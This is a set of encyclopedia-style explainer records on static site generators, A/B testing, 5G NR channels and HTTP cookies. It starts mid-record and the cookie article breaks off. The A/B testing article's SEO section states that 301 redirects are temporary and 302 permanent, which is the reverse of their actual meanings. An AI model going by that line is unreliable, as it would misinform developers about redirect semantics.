The Smashing Magazine static site was benchmarked at 10 times faster than their earlier WordPress deployment.\n    + The New Dynamic Website lists some popular deployments using static site generators.\n\n### How is content edited and managed on static sites?\n\nMost static site generation occurs via the command line. Moving the generated files to the hosting server can also be automated with command line scripts or tools. \n\nHowever, browser-based editors have been making their presence felt. While traditional CMS such as Wordpress, Joomla, Magento or Drupal generate pages dynamically, some SSG provide rich UI for editing pages and also host the site. Thus, these are hosted CMS with static content. Static content is updated when edited and saved, and not when a request comes to the server. \n\nAmong the **static CMS** are Prose, Surreal CMS and Forestry.io. Prose.io is a free service designed specifically for editing Jekyll projects stored in GitHub. There are also services like Surreal CMS and Forestry.io. Many more static CMS are listed on GitHub. \n\nCloudCannon offers a web-based editor geared towards non-technical users. It uses Jekyll and Git workflows. It builds the site, minifies assets and publishes on its hosting. \n\n\n### What are the options for hosting static sites?\n\nBroadly, we have two options:\n\n    + **Cloud file storage**: Content is pushed to the cloud for storage. When web requests come in, static files are directly served. Examples include Amazon S3, Google Cloud Storage, Rackspace Cloud, and Microsoft Azure.\n    + **Static file hosting providers**: Content can be edited online, which then triggers static generation and update to the hosting. Examples include Netlify, Forge, GitHub, and Surge.sh.\n\n### Can dynamic aspects be added to static sites?\n\nUsually dynamic aspects are added using the <script> tag whose source is a JS file on a different server. The remote data is loaded using Ajax (Asynchronous JavaScript + XML).  \n\n**Comments** : Disqus, Staticman, Livewire and Facebook\n\n**Forms** : Wufoo, Typeform, Google forms, Formspree, FormKeep.\n\n**Events** : Webhooks, moment.js\n\n**Search** : Google, Swiftype, AddSearch, Lunr, Algolia, Aerobatic\n\n**Forums** : Discourse\n\n**Shopping Carts** : Ecwid, Snipcart, GO Commerce\n\n**Assets (CDNs)** : imgix, Cloudinary\n\n**Backend as a Service (BaaS)** : Parse and Kinvey offer APIs for developers to pull arbitrary dynamic data into a static page. \n\n## Milestones\n\nAug  \n1991\n\nFirst static website by Tim Berners-Lee becomes publicly accessible. \n\nOct  \n1995\n\nVermeer Technologies launches FrontPage 1.0, a static website creation software. Microsoft acquires Vermeer in January 1996. It is branded as part of the Microsoft Office suite from 1997 to 2003. \n\nDec  \n1997\n\nMacromedia creates Dreamweaver, a static website creation software, which is acquired by Adobe in 2005. \n\nMay  \n2000\n\nDries Buytaert launches Drupal CMS for dynamic websites. \n\nMay  \n2003\n\nA joint effort between Matt Mullenweg and Mike Little to create a fork of b2/cafelog results in Wordpress CMS. \n\n2004\n\nJohn Gruber creates **Markdown**. Markdown allows content creators to focus on content rather than markup such as HTML. This may be seen as an essential piece towards the birth of static site generators, to convert Markdown to HTML that can rendered on browsers.\n\nAug  \n2005\n\nJoomla CMS is born as a result of a fork of Mambo. \n\n2008\n\nTom Preston-Werner, founder and former CEO of GitHub, creates **Jekyll**, a static site generator written in Ruby. \n\nAug  \n2010\n\nAlexis Métaireau releases first working version of **Pelican**, a static site generator written in Python. \n\nApr  \n2011\n\nThomas Reynolds releases first version of **Middleman**, a static site generator written in Ruby. \n\n2013\n\nJohan Nordberg creates **Wintersmith**, a static site generator written in Node.js. \n\n2013\n\nSteve Francia creates **Hugo**, a static site generator built on the Go programming language.","meta":{"title":"Static Site Generators","href":"static-site-generators"}}
{"text":"# A/B Testing\n\n## Summary\n\n\nDoes your manager decide based only on intuition and experience, not data? Do you like to experiment and analyze test results? Would you like data to validate your assumptions? Do you prefer to make data-driven decisions? If your answers to these questions are \"YES\", then A/B testing is relevant.\n\n**A/B Testing** is a method to compare two (or more) variations of something and determine which one works better. In this method, users are randomly assigned to one of two variants. A statistical analysis is performed to determine which variation performs better for a defined business goal. \n\nWhile A/B testing is applied in many areas (life sciences, social sciences, advertising, etc.) this article focuses on application to web/mobile app design and user interfaces.\n\n## Discussion\n\n### Why should I do A/B testing?\n\nIn the world of advertising, there's no way of telling if a campaign will be successful. Huge advertising budgets have been wasted because of bad guesses. What if we could instead test on a small sample and use that data to figure out user preferences for the entire population? This is exactly what A/B testing offers. \n\nWhen applied to digital marketing, the design of web pages or mobile app screens, A/B testing gives data that can help us choose among alternatives. The goal is Conversion Rate Optimization (CRO). Conversion could mean a purchase, an email sign-up, account creation, survey completion or app download. One survey showed that 67% of participants chose A/B testing for CRO. It was also the most preferred method. \n\nWith A/B testing, you can make more out of your existing traffic. Since even small changes can lead to better conversion or lead generation, the return on investment (RoI) can be massive sometimes. The results help us to understand user behaviour better and determine what impacts user experience. Testing validates assumptions. It removes guesswork and enables data-informed decisions from \"we-think\" to \"we-know\". \n\n\n### What does it mean to call it \"A/B\"?\n\nThe term \"A/B\" comes from the fact that two groups are used for the test. The **control group** is shown the base version. The **test group** is shown the variation. These two groups are also called A and B respectively. \n\nAn alternative interpretation is that A and B refer to two variations that need to be tested to ascertain which one is better. In this case, the baseline without either A or B, is the control group. We may even call this \"A/B/C\" testing. \n\nIn life sciences where A/B testing is used to measure the effectiveness of a drug, the test group is often called the **treatment group**. \n\n\n### What's the recommended process for A/B testing?\n\nThe correct way to run a A/B testing is to follow a scientific process: \n\n    + **Set a Goal**: Based on the business goal, a conversion metric is decided. Example: Number of visitors who sign up for free trial.\n    + **Construct Hypothesis**: Observe user behaviour and brainstorm hypotheses. Prioritize what to test based on expected impact and difficulty of implementation.\n    + **Create Variations**: Decide on which feature you want to vary, such as changing the colour or size of the call-to-action button.\n    + **Run Experiment**: Randomly assign the users to test and control group and collect relevant data for analysis.\n    + **Analyze Results**: Once the experiment is complete, you can analyze the results. Ask which variation performed better and whether there was a statistically significant difference.\n    + **Repeat**: Based on the results, if we want to test another variation, repeat the same process.\n\n### Could you share some tips when planning for A/B testing?\n\nUse your experience to know what variations could affect user behaviour for the relevant business goal. The variation could be in text such as the title or heading. It could be in terms of design such as the choice of colour. It could be a different layout. It could be number of fields in a form or when to send an email. \n\nHow long should you run the test? The common approach is to look at 95% statistical significance, standard deviation of the conversion rate, and sample size. You need 500 users per variation for statistical significance. For search or category tests, this could be 1000 users. Online calculators are also available to know how long to test: from Convert, from Optimizely.\n\nAn article on Smashing Magazine gives a list of Do's and Don'ts. Optimizely has shared what variations are businesses testing and which ones are effective.\n\nSome common threats to the validity of A/B tests are explained in an article on Instapage blog.\n\n\n### What are some myths associated with A/B testing?\n\nSome things about A/B testing are misunderstood. We clarify the following:\n\n    + A/B testing is not the same as conversion rate optimization. A/B testing is part of optimization. While conversions are important, pay attention to secondary metrics. Analyze all steps of the funnel.\n    + To test everything is probably a waste of resources, particularly when your user base in not as large as that of Google or Facebook. Prioritize on things you think can make a real difference.\n    + While changing one variable at a time is good advice, sometimes it makes sense to include multiple changes, such as on a badly designed page. Consider also how factors interact with one another.\n    + Your tests should be long enough to account for influencing factors, such as weekday vs weekend, or a big sale. Look for 95% statistical significance but don't rely on this alone to stop a test. Wait to reach a calculated sample size or a stable conversion rate.\n    + If you obsess over velocity and real-time optimization, you might make mistakes and lose out on valuable insights.\n    + A one-off test may give temporary results. Iterate your testing. Retest to rule out false positives.\n\n### What do you mean by 95% statistical significance?\n\nThis is best explained with an example. Suppose the results of an A/B test show \"Control: 15% (+/- 2.1%); Variation 18% (+/- 2.3%)\". You might interpret that the actual conversion rate is between 15.7% and 20.3% for the variation; but this is in fact a common error among those not familiar with statistics. \n\nThe correct interpretation is that if we were to perform the tests multiple times, 95% of the ranges will include the true conversion rate. In other words, in 5% of the tests, the true conversion rate will fall outside the range. \n\nTo put it differently for the above example, we are 95% confident that the true conversion rate is between 15.7% and 20.3%.\n\nUltimately, results from A/B testing must be statistically validated, usually with Chi-squared test, to rule out differences due to chance. Among the tests are Fisher's Exact, Fisher's Monte Carlo and Chi-squared tests. The last is the simplest for sample sizes exceeding 10,000. Fisher's Monte Carlo, a computational feasible approximation of Fisher's Exact, is more accurate for smaller samples. \n\n\n### How is A/B Testing different from Multivariate Testing?\n\nWith **A/B Testing**, you're splitting the traffic between two variations of a single variable. What if we wish to test 10 different shades of blue for a button? This is considered as **A/B/N Testing**. A visiting user is shown one of these variations. \n\nWhen a page is modified in more than one way, we call it **Multivariate Testing**. For example, in the control variation there's no sign-up form or embedded video. In variations, either one of these or both are included. Tools will generate all possible combinations of variations once the variable-level changes are specified. Such variations may be important to test influence of one variable over another. For example, sign-up form might generate more sign-ups if there's also a video on the page. Because there could be many variations to test, this is suitable only for sites with high traffic. \n\nHowever, use multivariate testing with caution due to the danger of *spurious correlations*, which could be nothing more than random fluctuations. \n\n\n### What are some tools available for A/B testing?\n\nTrustRadius lists a number of A/B testing tools and mentions that the top ones are Kameleoon, AB Tasty, Evergage, Qubit, Dynamic Yield, and Visual Website Optimizer. Others include Optimizely, Monetate, and Maxymiser. Another list includes Unbounce, Kissmetrics, Optimizely, Maxymiser, and Webtrends Optimize. Another list of 30 tools includes Optimizely, Unbounce, Visual Website Optimizer, Usability Hub, Maxymiser, A/Bingo, Kissmetrics, Google Analytics, AB Tasty and Adobe Target. \n\nTools may be for small businesses, mid-sized businesses or large enterprises. While many are paid tools or even managed services, Google Optimize is a free tool. Google Optimize 360 is a paid enterprise-level tool. These Google tools deprecate the older Analytics Content Experiments. \n\nBasic features of a tool include splitting traffic to different variations, calculating conversions, and measuring statistical likelihood that one variation will consistently outperform another. Additional features may include easy creation of variations, customization, and multi-page campaigns. \n\n\n### Are there situations where A/B testing is not suitable?\n\nA/B testing cannot make a good design choice on its own. It can compare two or more design choices and help us decide which is better.\n\nIncremental changes can improve design only up to a certain extent. In order to improve it radically, the designer should think more creatively and understand the user needs better. With A/B testing, we may find ourselves chasing \"local maxima\", the best outcome but within narrow constraints. There are therefore situations when we need to think outside the box and make radical changes. A/B testing is not the way to do it. \n\nThere are also some reasons against A/B testing. With A/B testing you're testing your own assumptions and therefore prone to individual bias. A test could take 3-4 weeks, valuable time that could be spent elsewhere. If your user base is not large, you'll not achieve statistical significance. \n\n\n### When applied to websites, how does A/B testing affect SEO? Are there any best practices?\n\nA/B testing or multivariate testing does not pose any inherent risk to the website's search rank if used properly. However, it's important to know the best practices: \n\n    + No cloaking: Serve the same content to users and search engines regardless of user-agent.\n    + Use `rel=\"canonical\"`: In A/B testing, alternative URLs should refer to the original URL as the canonical so that search engines will not index the alternative URLs.\n    + Use 302 Redirects instead of 301s: When using redirection to a variant URL, use 302 redirects since the variant will exist only for the experiment. 301 is a temporary redirect while 302 is permanent.\n    + Run experiments only as long as necessary: Once you have enough data, revert to original site and remove variations.\n\n### Could you share some examples where A/B testing has been used?\n\nHere are a few examples:\n\n    + **Humana's Banner Test**: Humana tested two different banners on their homepage. A simpler design plus a stronger call-to-action (CTA) led to 433% more click-throughs. In the control variation, the CTA is not clear and in the test variation the CTA is clear.\n    + **Hubspot's Lead Conversion**: Using an inline form for CTA led to 71% better conversion compared to a linking to a form on a separate page.\n    + **MSN Home Page Search Box**: The Overall Evaluation Criterion was the click-through rate for the search box and the popular searches links. Taller search box was compared with bigger search button. However, no remarkable differences were found.\n    + **Electronic Arts**: For their SimCity 5 game, they tested conversions between direct promotional banner and no banner. Surprisingly, the latter drove 43.4% more purchases.\n    + **Coderwall**: A simple title change improved Coderwall's click-through rate (CTR) by 14.8% on Google Search. Over time, this resulted in improved ranking as well.\n\n\n## Milestones\n\n1753\n\nJames Lind publishes \"A Treatise of the Scurvy\" in which he compares different treatments for scurvy using controlled trials. In well-planned clinical trials from the late 1740s, James Lind provides remedies to the identical diets of six pairs of men with symptoms of scurvy. He finds that a diet that includes oranges and lemons (vitamin C) cures scurvy. \n\n1863\n\nAustin Flint conducts a clinical trial that compares the efficacy of a dummy simulator to an active treatment. The dummy simulator, also called placebo, is really for moral effect. Flint's technique is called \"Placebo and Active Treatment\". Used from at least the 18th century, placebos avoid observer bias. \n\n1920\n\nStatistician and biologist Ronald Fisher discovers the most important principles behind A/B testing and randomized controlled experiments in general. He runs the first experiment in agriculture. \n\n1923\n\nIn his book \"Scientific Advertising\", Claude Hopkins writes,\n\n> Almost any questions can be answered, cheaply, quickly and finally, by a test campaign. And that’s the way to answer them—not by arguments around a table. Go to the court of last resort—the buyers of your product.\n\n1948\n\nThe Medical Research Council conducts the first ever randomized clinical trial to determine the efficacy of streptomycin in the treatment of pulmonary tuberculosis. Unlike prevailing practice, subjects are *randomly* allocated to one of two test groups, thus avoiding any bias. A/B testing is increasingly applied in clinical trials from the early 1950s. \n\n1960\n\nIn the 1960s and 1970s, marketers start using A/B testing to evaluate direct response campaigns. An example hypothesis would be, \"Would a postcard or a letter to target customers result in more sales?\" \n\n1990\n\nWith the coming of the World Wide Web in the 1990s, A/B testing goes online and becomes real time. It can also scale to large number of experiments and participants. The underlying math hasn't changed though. \n\n2000\n\nGoogle engineers conduct A/B tests to find the optimal number of display results per page. The test was a failure due to a performance bias because variants that displayed more results were slower. But Google did learn many lessons about the impact of speed on user experience. \n\n2007\n\nObama's presidential campaign has a new digital team advisor, Dan Siroker. He introduces A/B testing in the campaign with a goal of converting visitors to donors. \n\n2009\n\nA team at Google can't decide between two shades. So they test 41 different shades of blue to decide which color to use for advertisement links in Gmail. The company shows each shade of blue to 1% of users. A slightly purple shade of blue gets the maximum clicks, resulting in $200 million boost of ad revenue. \n\n2011\n\nGoogle runs 7,000 A/B test experiments on its search algorithm. Like Google, Netflix, Amazon and eBay are keen adopters of A/B testing.","meta":{"title":"A/B Testing","href":"a-b-testing"}}
{"text":"# 5G NR Channels\n\n## Summary\n\n\nOn the air interface between a UE and a 5G base station, 5G New Radio carries information on various **physical channels**. These channels carry both User Plane (UP) or Control Plane (CP) information.\n\nHowever, the 5G NR protocol stack has many layers, each layer communicating with its peer at a different level of abstraction. Higher-layers PDUs are not mapped directly to physical layer for transmission. Instead, PDUs at a layer are mapped to channel types that suits that layer's functionality and abstraction. Thus, RLC delivers its PDUs to MAC over **logical channels**; MAC PDUs to PHY are on **transport channels**. \n\nChannels help us organize and simplify the design and development of the stack. Each channel can also be prioritized and optimized differently. Downlink channels are distinct from uplink channels, though some channel names may be the same.\n\n## Discussion\n\n### What are the channel types defined in 5G?\n\nThere are three types of channels:\n\n    + **Logical Channels**: Offered by MAC to RLC. *Control channels* carry CP packets. *Traffic channels* carry UP packets. Each logical channel maps to an *RLC channel* coming from RLC layer.\n    + **Transport Channels**: Offered by PHY to MAC. MAC layer multiplexes one or more logical channels to a transport channel. Whereas logical channels describe *what* is carried, transport channels describe *how* they're carried.\n    + **Physical Channels**: Channels that carry information on the air interface. Transport channels map to physical channels. There are also a few standalone physical channels that don't carry higher-layer information.\n\n### In 5G NR downlink, what's the channel mapping?\n\nDownlink logical channels include Broadcast Control Channel (BCCH), Paging Control Channel (PCCH), Common Control Channel (CCCH), Dedicated Control Channel (DCCH) and Dedicated Traffic Channel (DTCH). Downlink transport channels include Broadcast Channel (BCH), Paging Channel (PCH) and Downlink Shared Channel (DL-SCH). Downlink physical channels include Physical Broadcast Channel (PBCH), Physical Downlink Control Channel (PDCCH) and Physical Downlink Shared Channel (PDSCH). \n\nIn terms of mapping we note the following:  \n\n    + BCCH for Master Information Blocks (MIBs) goes on BCH, which goes on PBCH. BCCH for System Information Blocks (SIBs) goes on DL-SCH, which goes on PDSCH. PBCH is used by UE for cell acquisition, selection and re-selection.\n    + PCCH goes on PCH, which goes on PDSCH. This is used to page a UE whose cell location is unknown.\n    + CCCH is used by a UE during initial access when there's no RRC connection yet. Once a connection is established, DCCH and DTCH become available to the UE.\n    + PDSCH carries a variety of transport channels. It can be adapted to current link conditions.\n    + PDCCH is used to schedule transmissions on PDSCH and PUSCH.\n\n### In 5G NR uplink, what's the channel mapping?\n\nUplink logical channels include Common Control Channel (CCCH), Dedicated Control Channel (DCCH) and Dedicated Traffic Channel (DTCH). Uplink transport channels include Random Access Channel (RACH) and Uplink Shared Channel (UL-SCH). Uplink physical channels include Physical Random Access Channel (PRACH), Physical Uplink Control Channel (PUCCH), and Physical Uplink Shared Channel (PUSCH). \n\nIn terms of mapping we note the following:  \n\n    + PRACH carries RACH, which has no mapped logical channel. PRACH is used by UE for initial access to the network. Random access preambles carried on RACH help overcome message collisions due to multiple UEs transmitting at the same time.\n    + PUSCH carries UL-SCH, which carries CCCH, DCCH and DTCH logical channels. Like, PDSCH in downlink, PUSCH has flexible configuration that can be adapted to link conditions.\n    + PUCCH carries uplink control information although these could be sent on PUSCH as well.\n    + CCCH, DCCH and DTCH are also present in the downlink. DTCH is the only one in the user plane. As an example, we note that RRC signalling messages and NAS messages (that also go through RRC) use DCCH. Application data use DTCH.\n\n### Which are the standalone physical channels?\n\nBy standalone physical channels, we mean channels that don't map to any transport channel. Information on these channels are only for exchanging control information at the physical layer. These help in gathering feedback and quickly adjusting configuration or resource allocation to respond to varying conditions on the air interface.\n\nIn the downlink, **PDCCH** carries Slot Format Indicator (SFI) and Downlink Control Information (DCI). DCI does scheduling for PDSCH and PUSCH. It carries Transmit Power Control (TPC) commands. DCI comes in many formats and one of them carries SFI to inform the UE which slot format is to be used. \n\nIn the uplink, **PUCCH** carries Uplink Control Information (UCI), although UCI can also go on PUSCH. UCI carries channel reports, HARQ-ACK and scheduling request.  \n\n\n### Which are the 5G NR physical signals?\n\nThere are a few physical signals closely associated with the operation of physical channels. For downlink synchronization, there are **Primary Synchronization Signal (PSS)** and **Secondary Synchronization Signal (SSS)**. These are transmitted along with PBCH. \n\nFor acquisition and channel estimation, **Demodulation Reference Signal (DM-RS)** is used in both downlink and uplink. It's applicable for PBCH, PDCCH, PDSCH, PUCCH and PUSCH. In the uplink, **Sounding Reference Signal (SRS)** is used for channel estimation when PUCCH and PUSCH are not scheduled. \n\nFor downlink positioning, **Positioning Reference Signal (PRS)** is used. Uplink positioning is based on SRS. \n\nFor phase tracking and phase noise compensation for PDSCH and PUSCH, **Phase Tracking Reference Signal (PT-RS)** is used. This combats path delay spread and Doppler spread via fine time and frequency tracking.\n\nFor beam management to a connected UE, **Channel State Information Reference Signal (CSI-RS)** is used in the downlink. \n\n\n### What are the sidelink channels?\n\nWe commonly talk about downlink (base station to UE) and uplink (UE to base station) channels. However, there are also sidelink channels that enable direct device-to-device communications. This is particular to Vehicle-to-Everything (V2X) communications. \n\nSidelink physical channels include Physical Sidelink Broadcast Channel (PSBCH), Physical Sidelink Control Channel (PSCCH), Physical Sidelink Shared Channel (PSSCH) and Physical Sidelink Feedback Channel (PSFCH). PSCCH and PSFCH are standalone channels. PSCCH carries a part of Sidelink Channel Information (SCI), the other part going on PSSCH. Sidelink Feedback Control Information (SFCI) goes on PSFCH. PSFCH carries HARQ feedback for PSSCH reception. \n\nTransport channels include Sidelink Broadcast Channel (SL-BCH) and Sidelink Shared Channel (SL-SCH). Logical channels include Sidelink Broadcast Control Channel (SBCCH), Sidelink Control Channel (SCCH) and Sidelink Traffic Channel (STCH). Mapping of these are PBCCH/SL-BCH/PSBCH, SCCH/SL-SCH/PSSCH and STCH/SL-SCH/PSSCH. \n\nSidelink physical signals include DM-RS, CSI-RS, PT-RS, Sidelink Primary Synchronization Signal (S-PSS) and Sidelink Secondary Synchronization Signal (S-SSS). PSCCH is associated with DM-RS. PSSCH is associated with DM-RS and PT-RS. \n\n\n### What are the differences between 4G/LTE and 5G NR channels?\n\nPBCH-DMRS, PDCCH-DMRS, PUCCH-DMRS, PDSCH-PTRS and PUSCH-PTRS are new in 5G NR. CRS, EPDCCH and EPDCCH-DMRS in LTE don't exist in 5G. Some LTE transmission modes don't need PDSCH-DMRS since Cell-Specific Reference Signal (CRS) fulfils the role. \n\nWhile DCI on PDCCH is present in 5G, LTE's downlink controls CFI on PCFICH and HI on PHICH are absent in 5G. These channels carry HARQ ACK/NACK for PUSCH transmissions since LTE uplink HARQ is synchronous. These are not needed in 5G since HARQ is asynchronous in both uplink and downlink, that is, HARQ process number is carried in DCI. \n\nLTE's downlink logical channels Multicast Control Channel (MCCH) and Multicast Traffic Channel (MTCH) are absent in 5G. Their associated transport and physical channels MCH and PMCH are also absent. However, multicast is being standardized in Release 17 and some of these channels may be introduced into 5G. \n\n## Milestones\n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". \n\nJun  \n2018\n\n3GPP publishes Release 15 \"main drop\". This includes LTE-based Cellular Vehicle-to-Everything (C-V2X) feature, first introduced in Release 14 (Q1 2017). \n\nDec  \n2018\n\n3GPP publishes Release 15 \"late drop\". This includes 5G NR-based C-V2X using **sidelink channels**. \n\nJul  \n2020\n\n3GPP publishes Release 16 specifications. This release introduces dedicated **5G positioning** signals, measurements and procedures. This includes PRS for downlink and SRS for uplink. \n\n2022\n\n3GPP Release 17 specifications is expected to come out in 2022. This release might introduce new channels for **multicast**. It will enhance sidelink channels include sidelink relay capability. Positioning will also be better.","meta":{"title":"5G NR Channels","href":"5g-nr-channels"}}
{"text":"# HTTP Cookie\n\n## Summary\n\n\nHTTP cookies are small bits of information exchanged between client and server over the HTTP protocol. The server sets these cookies. The client receives and saves them locally. Subsequently, whenever the client makes a request to the server, it includes these cookies in the request. The server uses these cookies to provide the desired services. \n\nCookies are exchanged as simple strings in HTTP headers. Each cookie is a name-value pair. Cookies are scoped to the domain and web server path. Clients (formally called user agents) are typically web browsers. Often cookies are persistent even when browsers are closed. \n\nCookies bring efficiency and convenience to the web browsing experience. However, cookies have been misused to track users (privacy) or hack systems (security).  These threats are being addressed by regulations and alternative technical solutions.\n\n## Discussion\n\n### What's the problem that an HTTP cookie solves?\n\nHTTP protocol enables client-server communication on the web. HTTP itself is a **stateless protocol**. A server doesn't use information from previous requests to respond to the current request.\n\nHowever, many scenarios require the server to maintain some state information about the client. For example, a user logs into Gmail. Subsequently, she may read emails, compose a new mail, add attachments or change her mail settings. Each of these is one or more independent HTTP requests. Without state, the server would have to authenticate the user with each request. Instead, authentication is done once, cookies are set, and cookies are exchanged in subsequent requests to identify the authenticated user.  In other words, cookies enable **stateful communication** on top of stateless HTTP. \n\nThere are plenty of other examples where stateful communication is beneficial: adding items to a shopping cart on an e-commerce site, transferring money from one bank account to another, participating in an online Q&A forum, setting the language preference on a multilingual site, or searching where search engines use past queries to determine context.\n\n\n### What are the main uses of HTTP cookies?\n\nThe way Google uses cookies gives us an insight into the different uses of cookies: \n\n    + **Preferences**: Remember a user's language preference or region. For example, this can be used to serve local weather or traffic reports. Users can also personalize font, text size or colours.\n    + **Security**: Used to authenticate users and protect user data from unauthorized access.\n    + **Processes**: Used to make the site work properly for the user. This includes navigation or protected access of certain resources. For example, many documents can be opened in Google Docs in the same browser.\n    + **Advertising**: Serve personalized ads to user. For example, recent Google searches may be used to personalize ads.\n    + **Session State**: Used to learn how user uses the site, which pages are frequently visited, or measure effectiveness of affiliate advertising.\n    + **Analytics**: Collect site statistics to learn how users interact with the site, without identifying users individually.Broadly, we can group cookies into three categories: session management (login, shopping carts, game scores), personalization (preferences, themes, settings), and tracking (recording and analyzing user behaviour). \n\n\n### What are the different types of cookies?\n\nIn terms of validity, we can identify session cookies and permanent cookies. **Session cookies** are deleted once the browser is closed. **Permanent cookies** persist even when the browser is closed but can be set to expire after a specified datetime. Most permanent cookies persist for one or two years. Browser will delete them if user doesn't visit those sites before the cookies expire. \n\nIn terms of domain, **first-party cookies** are cookies exchanged with the site currently being visited. **Third-party cookies** are cookies exchanged with another site that's different from the current site. This happens because the current site uses some content from the third-party site. \n\nWhile not exactly HTTP cookies, there are also **Flash cookies**. These may be exchanged by sites that use Flash plugins. They're often called \"supercookies\" since users can't easily delete them. Related to this are **Zombie cookies** that recreate automatically even if deleted. To make the web more secure, browsers will stop supporting Flash from end of 2020.  \n\n\n### Could you explain first-party and third-party cookies?\n\nSuppose a user visits the site *www.website.com*. This server will respond with the content. The content may contain links to or load resources from another server. For example, *ad.doubleclick.net* might provide ad services for the content publisher at *www.website.com*. Thus, the user sees the site's content plus ads from the ad server. \n\nCookies set by *www.website.com* are called first-party cookies. Such cookies are often necessary for the correct working of the site or application. Users typically don't block these cookies. \n\nCookies set by the third-party server are called third-party cookies. Third-party cookies can be misused since they can be used to track user behaviour across sites. For example, if the user visits another site that also uses the same third-party ad services, the ad service now knows that the user visited both the sites. Due to privacy concerns, some users block third-party cookies. \n\nThird-party cookies come from ad services, social media plugins, live chat popups, etc. In future, such cookies may become obsolete as newer technologies replace them. \n\n\n### What are some essentials on HTTP cookies?\n\nServer sets an HTTP cookie using `Set-Cookie` response header. A single response can set multiple cookies but a single `Set-Cookie` header can set only one cookie. A cookie is basically of the form `name=value` followed by zero or more attribute name-value pairs. Pairs are separated by a semi-colon and whitespace. \n\nWhen a client sends a request, applicable cookies are sent in `Cookie` header. All cookies are sent in a single `Cookie` header. Cookie name-value pairs are separated by a semi-colon and whitespace. Attribute name-value pairs are not part of the request. The order in which the cookies appear in the header should not be significant to the server. \n\nAttributes may contain only the name and no value. Two attributes of this nature are `Secure` and `HttpOnly`. \n\nAt the client-side, clients shall ignore unrecognized attributes but not the entire cookie. When a client receives the same cookie as an already stored cookie (with same domain and path attributes), the new cookie shall replace the old one. At the server-side, semantics are application-specific. \n\n\n### Could you describe the different attributes of a cookie?\n\nAttribute names are recognized in a case-insensitive manner. These attributes can be optionally used for each HTTP cookie:  \n\n    + **Expires**: Cookie expires at the specified datetime. Servers can delete an existing cookie by specifying a past datetime.\n    + **Max-Age**: Specifies in seconds when cookie expires relative to current time.\n    + **Domain**: Cookie is applicable to the specified domain and its subdomains. For example, with `Domain=example.com`, cookie will be sent with requests to both `example.com` and `beta.example.com`. If absent, cookie will be sent only to the origin server and not to subdomains.\n    + **Path**: Specifies the applicable document path. For example, with `Path=/dashboard`, cookie will be sent for both `/dashboard` and `/dashboard/today` but not for `/posts`. For global cookie, use `Path=/`. If omitted, path defaults to current document location.\n    + **Secure**: With this attribute, cookie is sent only over HTTPS connections.\n    + **HttpOnly**: This makes the cookie inaccessible using `document.cookie` JavaScript API. Only the server can edit such a cookie.\n    + **SameSite**: This mitigates the risk of Cross-Site Request Forgery (CSRF) attacks. With a suitable setting, client sends the cookie only to origin server and not to third-party servers.\n\n### Could you explain the SameSite attribute?\n\nSameSite cookie attribute can mitigate the risk of CSRF attacks. A typical CSRF attack is when you visit *evil.com* that then makes a cross-site request from your browser to your blog *myblog.com* to modify or even delete blog posts.  \n\nSameSite cookie attribute takes one of three values:  \n\n    + **Strict**: This is the most restrictive setting. Third-party cookies are ignored. While this is safe, it can also dampen user experience. For example, assume a user is already logged into a site *myblog.com*. User visits *example.com* where she clicks a link leading to her blog. Since cookies are not sent, the login will not be recognized until the user refreshes the page on her blog in a first-party context.\n    + **Lax**: This relaxes the restriction from Strict mode. When the user follows the link, the browser will include the cookies. Cookies are included only with GET requests.\n    + **None**: This is the most open setting but Secure attribute is mandatory. Third-party cookies are allowed. This means that if *example.com* were to request an image from *myblog.com*, third-party cookies would be sent, which doesn't happen for Lax mode.\n\n### What are some shortcomings of HTTP cookies?\n\nCookies can only contain simple strings. They're not suited to handle complex data structures. Each cookie has a size limit of 4KB. Cookies can be edited or deleted by users at the client side. Applications must be designed to handle this. Cookies are not encrypted, which means that they're not suited to handle sensitive information. Any encryption must be provided by the application. Cookies can also \"leak\" from one browser tab to the next, creating unintended effects on the application. \n\nSince cookies are sent with every request, this has a performance impact, especially on slow mobile network connections. \n\nPrivacy concerns of cookies are well known. Third-party cookies are widely used by ad networks and social networking sites to track users and assemble extensive profile of users in terms of behaviour and preferences. Via social engineering, they can also be used to hack into user accounts, servers and bank accounts. \n\nModern solutions to avoid using cookies include Web Storage API or IndexedDB for storage; JSON Web Tokens for token-based authentication; and Google's Privacy Sandbox or Storage Access API for cross-origin requests. Fingerprinting could be used for tracking users. \n\n\n### Which are the standards relevant to HTTP cookies?\n\nThe main document is IETF's RFC 6265 titled *HTTP State Management Mechanism*. This defines what's a cookie and the Set-Cookie header fields. It describes server-side and client-side requirements. It also addresses implementation, privacy and security aspects. \n\nAs on October 2020, **RFC 6265bis** was in draft form. It aims to update RFC 6265. Among its additions are cookie prefixes (`&lowbar;&lowbar;Secure-` and `&lowbar;&lowbar;Host-`) and SameSite attribute. \n\nThe concept of origin is essential for cookies. **Origin** is defined in RFC 6454 titled *The Web Origin Concept*. \n\nTwo relevant W3C Working Group Notes to look at are Tracking Preference Expression (DNT) and Tracking Compliance and Scope.\n\n## Milestones\n\nOct  \n1995\n\nNetscape Communications Corp. files a US patent titled *Persistent client state in a hypertext transfer protocol based client-server system*. It describes, \"… when a server responds to an http request by returning an HTTP object to a client, the server may also send a piece of state information that the client system will store. In an embodiment of the present invention, the state information is referred to as a 'cookie'.\" \n\nFeb  \n1997\n\nCookies are described in detail in an IETF document **RFC 2109** titled *HTTP State Management Mechanism*. Subsequently, this RFC is superseded by **RFC 6265** (April 2011). \n\n2002\n\nThe European Union passes **ePrivacy Directive (EPD)**. This is amended in 2009 and again in 2017 at the direction of General Data Protection Regulation (GDPR). In time, EPD comes to be called the *Cookie Law*.  \n\nAug  \n2012\n\nFederal Trade Commission orders Google to pay a penalty of $22.5 million for placing **tracking cookies** in Apple's Safari browser. This violated a privacy agreement between FTC and Google. These cookies were placed by Google's DoubleClick advertising network and bypassed Safari's default setting of blocking third-party cookies. \n\nJun  \n2016\n\nDetails on **SameSite cookies** are published in an IETF draft that aims to update RFC 6265. This enables servers to assert that cookies should not be sent with cross-site requests. This mitigates the risk of cross-site request forgery (CSRF) attacks. This draft later becomes part of RFC 6265bis draft. \n\nOct  \n2016\n\nVersion 00 of **RFC 6265bis** is published. Version 06 of this Internet-Draft is published in April 2020. When eventually approved, this would supersede RFC 6265. \n\nJun  \n2017\n\n**Intelligent Tracking Prevention (ITP)** is released as a new WebKit feature, where WebKit is the engine used in Safari web browser. ITP collects statistics about resource loads and user interactions. Via machine learning, it classifies if a domain is likely to do cross-site tracking. If so classified, it's cookies can't be used in third-party requests after 24 hours and are purged after 30 days. In March 2020, WebKit fully blocks third-party cookies. For 